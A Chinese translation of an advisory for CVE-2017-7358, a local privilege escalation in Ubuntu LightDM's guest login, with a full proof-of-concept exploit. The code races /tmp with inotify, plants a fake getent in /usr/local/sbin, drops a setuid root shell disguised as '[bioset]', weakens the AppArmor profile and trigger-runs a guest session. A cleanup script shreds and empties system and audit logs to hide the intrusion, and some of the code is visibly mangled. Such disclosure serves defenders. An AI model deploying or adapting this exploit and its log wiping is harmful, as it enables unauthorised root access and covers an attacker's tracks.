【漏洞分析】Ubuntu LightDM访客账户本地权限提升漏洞（含PoC）

翻译：興趣使然的小胃

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一、漏洞概要

Ubuntu 16.10/16.04 LTS版本的LightDM中存在一个本地权限提升漏洞（CVE-2017-7358）。

Ubuntu是一个开源的操作系统，可以运行在多种平台上，比如在物联网（IoT）设备、智能手机、平板电脑、PC、服务器以及云计算都可以看到它的身影。LightDM（Light Display Manager）是一个X显示管理器（X Display Manager，XDM），旨在为用户提供一种轻量级的、快速的、可扩展的和多桌面化的显示管理器。LightDM可以使用多种前端来绘制登录界面（也可以叫做Greeters）。

二、漏洞细节

漏洞位于LightDM中，具体来说，是位于访客登陆功能中。默认情况下，LightDM允许用户以临时用户方式登录系统，此项功能具体实现位于“guest-account”脚本中。

@ubuntu:~$ ls -l /usr/sbin/guest-account
-rwxr-xr-x 1 root root 6516 Sep 29 18:56 /usr/sbin/guest-account
@ubuntu:~$ dpkg -S /usr/sbin/guest-account
lightdm: /usr/sbin/guest-account
@ubuntu:~$ dpkg -s lightdm
Package: lightdm
Status: install ok installed
Priority: optional
Section: x11
Installed-Size: 672
Maintainer: Robert Ancell <robert.ancell@ubuntu.com>
Architecture: amd64
Version: 1.19.5-0ubuntu1
Provides: x-display-manager
Depends: debconf (>= 0.5) | debconf-2.0, libc6 (>= 2.14), libgcrypt20 (>= 1.7.0), libglib2.0-0 (>= 2.39.4), libpam0g (>= 0.99.7.1), libxcb1, libxdmcp6, adduser, bash (>= 4.3), dbus, libglib2.0-bin, libpam-runtime (>= 0.76-14), libpam-modules, plymouth (>= 0.8.8-0ubuntu18)
Pre-Depends: dpkg (>= 1.15.7.2)
Recommends: xserver-xorg, unity-greeter | lightdm-greeter | lightdm-kde-greeter
Suggests: bindfs
Conflicts: liblightdm-gobject-0-0, liblightdm-qt-0-0
Conffiles:
 /etc/apparmor.d/abstractions/lightdm a715707411c3cb670a68a4ad738077bf
 /etc/apparmor.d/abstractions/lightdm_chromium-browser e1195e34922a67fa219b8b95eaf9c305
 /etc/apparmor.d/lightdm-guest-session 3c7812f49f27e733ad9b5d413c4d14cb
 /etc/dbus-1/system.d/org.freedesktop.DisplayManager.conf b76b6b45d7f7ff533c51d7fc02be32f4
 /etc/init.d/lightdm be2b1b20bec52a04c1a877477864e188
 /etc/init/lightdm.conf 07304e5b3265b4fb82a2c94beb9b577e
 /etc/lightdm/users.conf 1de1a7e321b98e5d472aa818893a2a3e
 /etc/logrotate.d/lightdm b6068c54606c0499db9a39a05df76ce9
 /etc/pam.d/lightdm 1abe2be7a999b42517c82511d9e9ba22
 /etc/pam.d/lightdm-autologin 28dd060554d1103ff847866658431ecf
 /etc/pam.d/lightdm-greeter 65ed119ce8f4079f6388b09ad9d8b2f9
Description: Display Manager
 LightDM is a X display manager that:
  * Has a lightweight codebase
  * Is standards compliant (PAM, ConsoleKit, etc)
  * Has a well defined interface between the server and user interface
  * Cross-desktop (greeters can be written in any toolkit)
Homepage: https://launchpad.net/lightdm
@ubuntu:~$

当你在登录界面以访客身份登录时，系统就会以root身份运行此脚本。Ubuntu的默认登录界面是Unity Greeter。

存在漏洞的函数是“add_account”。

35   temp_home=$(mktemp -td guest-XXXXXX)
36   GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]')
37   GUEST_USER=${GUEST_HOME#/tmp/}
38   [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME}

上述代码的第35行，脚本使用“mktemp”命令创建访客文件夹。我们可以通过“inotify”机制监控“/tmp”文件夹，实时发现这种文件夹的创建。

这种文件夹的名称可能包含大写和小写字母。我们发现系统创建此文件夹后，可以快速获取文件夹名称，创建一个名称相同、但字母全部为小写的等效文件夹。

如果我们速度足够快，就可以赶在38行的“mv”命令执行之前，将访客账户的主文件目录劫持到新创建的等效文件夹。

一旦我们控制了访客账户的主文件目录后，我们重命名此目录，替换为指向我们想要控制的另一个目录的符号链接。以下代码会将新用户添加到操作系统中，此时，用户的主目录已经指向我们想要控制的目录，例如“/usr/local/sbin”目录。

68    useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest") --user-group --shell /bin/bash ${GUEST_USER} || {
69      rm -rf ${GUEST_HOME}
70      exit 1
71    }

攻击者可以抓取新创建用户的ID，监控“/usr/local/sbin”目录的所有权更换情况。如下代码中的“mount”命令会导致目录所有权发生改变。

78  mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || {
79    rm -rf ${GUEST_HOME}
80    exit 1
81  }

此时我们可以移除符号链接，使用相同名称创建一个目录，以便访客用户登录系统。访客用户成功登录后，可执行文件的查找路径中会包含用户主目录下的“bin”目录。

这就是为什么我们要创建一个新的符号链接，将访客用户的“bin”目录指向我们希望控制的那个文件目录。这样我们就可以迫使用户以他的user ID执行我们自己的代码。我们使用这种方式注销访客用户的登录会话，这个会话也是我们获取root访问权限的位置所在。

注销代码首先会执行如下代码：

156  PWENT=$(getent passwd ${GUEST_USER}) || {
157    echo "Error: invalid user ${GUEST_USER}"
158    exit 1
159  }

系统会使用脚本所有者身份（也就是root身份）执行这段代码。由于我们已经掌控了“/usr/local/sbin”目录，并且植入了我们自己的“getent”程序，我们此时已经可以使用root权限执行命令。

顺便提一句，我们可以使用以下两条命令，触发访客会话创建脚本的执行。

XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest

三、PoC

漏洞PoC包含9个文件，如下所示：

kodek/bin/cat
kodek/shell.c
kodek/clean.sh
kodek/run.sh
kodek/stage1.sh
kodek/stage1local.sh
kodek/stage2.sh
kodek/boclocal.c
kodek/boc.c

攻击者可以运行如下命令，获取root权限：

@ubuntu:/var/tmp/kodek$ ./stage1local.sh 
@ubuntu:/var/tmp/kodek$ 
[!] GAME OVER !!!
[!] count1: 2337 count2: 7278
[!] w8 1 minute and run /bin/subash
@ubuntu:/var/tmp/kodek$ /bin/subash
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#

如果漏洞利用失败，你只需要再重新运行一次利用代码即可。

root shell获取成功后，你可以根据需要决定是否清理漏洞利用文件及日志，清理命令如下：

root@ubuntu:/var/tmp/kodek# ./clean.sh 
/usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such file or directory
Do you want to remove exploit (y/n)?
y
/usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a directory
root@ubuntu:/var/tmp/kodek#

具体代码如下。

boc.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE(sizeof(struct inotify_event))
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
int main(void) {
  struct stat info;
  struct passwd * pw;
  struct inotify_event * event;
  pw = getpwnam("root");
  if (pw == NULL) exit(0);
  char newpath[20] = "old.";
  int length = 0, i, fd, wd, count1 = 0, count2 = 0;
  int a, b;
  char buffer[EVENT_BUF_LEN];
  fd = inotify_init();
  if (fd < 0) exit(0);
  wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
  if (wd < 0) exit(0);
  chdir("/tmp/");
  while (1) {
    length = read(fd, buffer, EVENT_BUF_LEN);
    if (length > 0) {
      event = (struct inotify_event * ) buffer;
      if (event - > len) {
        if (strstr(event - > name, "guest-") != NULL) {
          for (i = 0; event - > name[i] != ''; i++) {
            event - > name[i] = tolower(event - > name[i]);
          }
          if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS);
          if (event - > mask & IN_MOVED_FROM) {
            rename(event - > name, strncat(newpath, event - > name, 15));
            symlink("/usr/local/sbin/", event - > name);
            while (1) {
              count1 = count1 + 1;
              pw = getpwnam(event - > name);
              if (pw != NULL) break;
            }
            while (1) {
              count2 = count2 + 1;
              stat("/usr/local/sbin/", & info);
              if (info.st_uid == pw - > pw_uid) {
                a = unlink(event - > name);
                b = mkdir(event - > name, ACCESSPERMS);
                if (a == 0 && b == 0) {
                  printf("n[!] GAME OVER !!!n[!] count1: %i count2: %in", count1, count2);
                } else {
                  printf("n[!] a: %i b: %in[!] exploit failed !!!n", a, b);
                }
                system("/bin/rm -rf /tmp/old.*");
                inotify_rm_watch(fd, wd);
                close(fd);
                exit(0);
              }
            }
          }
        }
      }
    }
  }
}

boclocal.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE(sizeof(struct inotify_event))
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
int main(void) {
  struct stat info;
  struct passwd * pw;
  struct inotify_event * event;
  pw = getpwnam("root");
  if (pw == NULL) exit(0);
  char newpath[20] = "old.";
  int length = 0, i, fd, wd, count1 = 0, count2 = 0;
  int a, b, c;
  char buffer[EVENT_BUF_LEN];
  fd = inotify_init();
  if (fd < 0) exit(0);
  wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
  if (wd < 0) exit(0);
  chdir("/tmp/");
  while (1) {
    length = read(fd, buffer, EVENT_BUF_LEN);
    if (length > 0) {
      event = (struct inotify_event * ) buffer;
      if (event - > len) {
        if (strstr(event - > name, "guest-") != NULL) {
          for (i = 0; event - > name[i] != ''; i++) {
            event - > name[i] = tolower(event - > name[i]);
          }
          if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS);
          if (event - > mask & IN_MOVED_FROM) {
            rename(event - > name, strncat(newpath, event - > name, 15));
            symlink("/usr/local/sbin/", event - > name);
            while (1) {
              count1 = count1 + 1;
              pw = getpwnam(event - > name);
              if (pw != NULL) break;
            }
            while (1) {
              count2 = count2 + 1;
              stat("/usr/local/sbin/", & info);
              if (info.st_uid == pw - > pw_uid) {
                a = unlink(event - > name);
                b = mkdir(event - > name, ACCESSPERMS);
                c = symlink("/var/tmp/kodek/bin/", strncat(event - > name, "/bin", 5));
                if (a == 0 && b == 0 && c == 0) {
                  printf("n[!] GAME OVER !!!n[!] count1: %i count2: %in[!] w8 1 minute and run /bin/subashn", count1, count2);
                } else {
                  printf("n[!] a: %i b: %i c: %in[!] exploit failed !!!n[!] w8 1 minute and run it againn", a, b, c);
                }
                system("/bin/rm -rf /tmp/old.*");
                inotify_rm_watch(fd, wd);
                close(fd);
                exit(0);
              }
            }
          }
        }
      }
    }
  }
}

clean.sh

#!/bin/bash
if [ "$(/usr/bin/id -u)" != "0" ]; then
   echo "This script must be run as root" 1>&2
   exit 1
fi
/bin/rm -rf /tmp/guest-* /tmp/old.guest-*
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern.log /var/log/audit/audit.log /var/log/lightdm/*
/bin/echo > /var/log/auth.log
/bin/echo > /var/log/syslog
/bin/dmesg -c >/dev/null 2>&1
/bin/echo "Do you want to remove exploit (y/n)?"
read answer
if [ "$answer" == "y" ]; then
/usr/bin/shred -fu /var/tmp/kodek/* /var/tmp/kodek/bin/*
/bin/rm -rf /var/tmp/kodek
else
exit
fi
run.sh
#!/bin/sh
/bin/cat << EOF > /usr/local/sbin/getent
#!/bin/bash
/bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1
/bin/chmod 4111 /bin/subash >/dev/null 2>&1
COUNTER=0
while [ $COUNTER -lt 10 ]; do
/bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1
let COUNTER=COUNTER+1
done
/bin/sed -i 's//usr/lib/lightdm/lightdm-guest-session {//usr/lib/lightdm/lightdm-guest-session flags=(complain) {/g' /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/usr/bin/getent passwd "$2"
EOF
/bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1

shell.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
int main(void)
{
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    setgroups(0, NULL);
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "[bioset]", "-pi", NULL);
    return 0;
}

stage1.sh

#!/bin/bash
if [ "${PWD}" == "/var/tmp/kodek" ]; then
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1
/usr/bin/gcc boc.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
/var/tmp/boc
else
echo "[!] run me from /var/tmp/kodek"
exit
fi

stage1local.sh

#!/bin/bash
if [ "${PWD}" == "/var/tmp/kodek" ]; then
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1
/usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
/var/tmp/boc &
/bin/sleep 5s
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest
else
echo "[!] run me from /var/tmp/kodek"
exit
fi

stage2.sh

#!/bin/sh
/usr/bin/systemd-run --user /var/tmp/run.sh
/bin/cat
#!/bin/sh
/usr/bin/systemd-run --user /var/tmp/run.sh
/bin/sleep 15s
/bin/loginctl terminate-session `/bin/loginctl session-status | /usr/bin/head -1 | /usr/bin/awk '{ print $1 }'`

四、其他说明

独立安全研究员G. Geshev（@munmap）已将该漏洞提交至Beyond Security公司的SecuriTeam安全公告计划。厂商已经发布了补丁来修复此问题，更多细节可以参考此链接。